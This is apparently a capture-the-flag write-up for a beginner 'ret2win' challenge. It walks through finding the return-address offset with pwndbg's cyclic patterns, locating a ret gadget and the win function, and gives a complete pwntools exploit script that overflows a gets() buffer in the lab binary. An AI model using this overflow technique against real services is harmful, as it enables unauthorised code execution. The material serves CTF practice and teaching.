Baby Armageddon

Binary Exploitation

There has been news of a new company called "Baby Armageddon Corp." and they seem to have the capabilities of destroying the entire world with one single attack on Earth. But there has been rumors that the company is ran by literal babies and they have really terrible security. Can you break through and obtain their Armageddon device through their QnA server?

nc <ip> <port>

16KB

armageddon_device

657B

main.c

Simple ret2win challenge, use cyclic patterns to find the RIP. In this example we use pwndbg:

pwndbg> cyclic 200
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

After generating a cyclic pattern, we can run the program and input the pattern:

What is your question?
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

After the program returns a segmentation fault we can find the RIP offset:

pwndbg> info frame
Stack level 0, frame at 0x7fffffffdd68:
 rip = 0x4012e2 in question; saved rip = 0x6161616161616172
pwndbg> cyclic -l 0x6161616161616172
Finding cyclic pattern of 8 bytes: b'raaaaaaa' (hex: 0x7261616161616161)
Found at offset 136

After getting the RIP offset we need to also perform stack alignment with a ROPgadget that only ends with "ret", we can use ROPgadget for this:

ROPgadget --binary armageddon_device | grep ': ret'
0x000000000040101a : ret

After that, we also need the win function, which is called armageddon():

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010b0  puts@plt
0x00000000004010c0  fclose@plt
0x00000000004010d0  setbuf@plt
0x00000000004010e0  printf@plt
0x00000000004010f0  fgets@plt
0x0000000000401100  gets@plt
0x0000000000401110  fopen@plt
0x0000000000401120  exit@plt
0x0000000000401130  _start
0x0000000000401160  _dl_relocate_static_pie
0x0000000000401170  deregister_tm_clones
0x00000000004011a0  register_tm_clones
0x00000000004011e0  __do_global_dtors_aux
0x0000000000401210  frame_dummy
0x0000000000401216  armageddon
0x00000000004012a5  question
0x00000000004012e3  main
0x0000000000401344  _fini

Win function located at 0x401216. Now to just combine this into one solver script, which expanded on with my personal custom pwntools template.

I used the built-in pwntools function to speed up the gadget and win function address finding, but you can actually replace them with the previously mentioned addresses and it would definitely work the same:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# -*- template: wintertia -*-

# ====================
# -- PWNTOOLS SETUP --
# ====================

from pwn import *

exe = context.binary = ELF(args.EXE or 'armageddon_device')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

host = args.HOST or 'localhost'
port = int(args.PORT or 13337)

def start_local(argv=[], *a, **kw):
	'''Execute the target binary locally'''
	if args.GDB:
		return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
	else:
		return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
	'''Connect to the process on the remote host'''
	io = connect(host, port)
	if args.GDB:
		gdb.attach(io, gdbscript=gdbscript)
	return io

def start(argv=[], *a, **kw):
	'''Start the exploit against the target.'''
	if args.LOCAL:
		return start_local(argv, *a, **kw)
	else:
		return start_remote(argv, *a, **kw)

gdbscript = '''
tbreak main
b *question+51
continue
'''.format(**locals())

# =======================
# -- EXPLOIT GOES HERE --
# =======================

def exploit():
	io = start()

	rop = ROP(exe)
	
	payload = flat(
		cyclic(136, n=8),
		rop.find_gadget(['ret']).address, #0x40101a
		exe.sym['armageddon']	#0x401216
	)
	io.sendlineafter(b'? ', payload)

	io.interactive()

if __name__ == "__main__":
	exploit()

Just run the script with the correct remote address and you will get the flag.